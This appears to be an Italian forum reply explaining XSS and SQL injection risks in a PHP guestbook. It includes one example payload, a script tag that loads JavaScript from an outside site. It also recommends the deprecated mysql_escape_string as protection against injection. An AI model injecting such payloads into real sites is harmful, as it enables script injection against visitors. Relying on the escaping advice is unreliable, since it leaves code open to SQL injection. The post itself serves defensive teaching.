Il modo corretto per affrontare questo problema, è pensare in quali modi non convenzionali potranno essere usate le tue interfacce, se ti fermi a pensare per cosa è stata studiata la tua interfaccia non vedrai mai i potenziali problemi.

In linea di massima comunque i controlli vanno fatti sempre e comunque.

Un esempio potrebbe essere un guestbook, con un campo textarea semplice, se io nel guestbook ti scrivo:

codice:
<script type="text/javascript" src="http://www.altrosito.com/miojs.js"></script>
Posso caricare nel tuo sito un mio file javascript che può scrivere all'interno della tua pagina qualsiasi cosa.

Questa tecnica è conosciuta come XSS (che sta per cross site scripting).

(per questa cosa basta usare strip_tags per togliere i tag, oppure htmlentities per trasformare i caratteri < in relative entità html facendo perdere il senso dei tag che verranno letti dal browser).

Nel caso di strip_tags il testo nell'esempio diventerà vuoto, nel caso di htmlentities vedrai il codice ma questo non verrà interpretato.

Per quanto riguarda l'inserimento di un testo dall'utente devi sempre filtrare i dati prima di inserirli e quindi usare mysql_escape_string per fare in modo che venga aggiunto un backslash davanti agli apici, in questo modo eviti le Sql injection.

Poi altri tipi di controlli che devi fare sono sui tipi di dati, se hai un campo int dovrai controllare prima di comporre la query che il dato che arriva sia veramente un intero, e cosi per tutti gli altri campi (ad esempio se in un campo data scrivo manualmente un testo che non è nel formato giusto avrai un errore).

ciao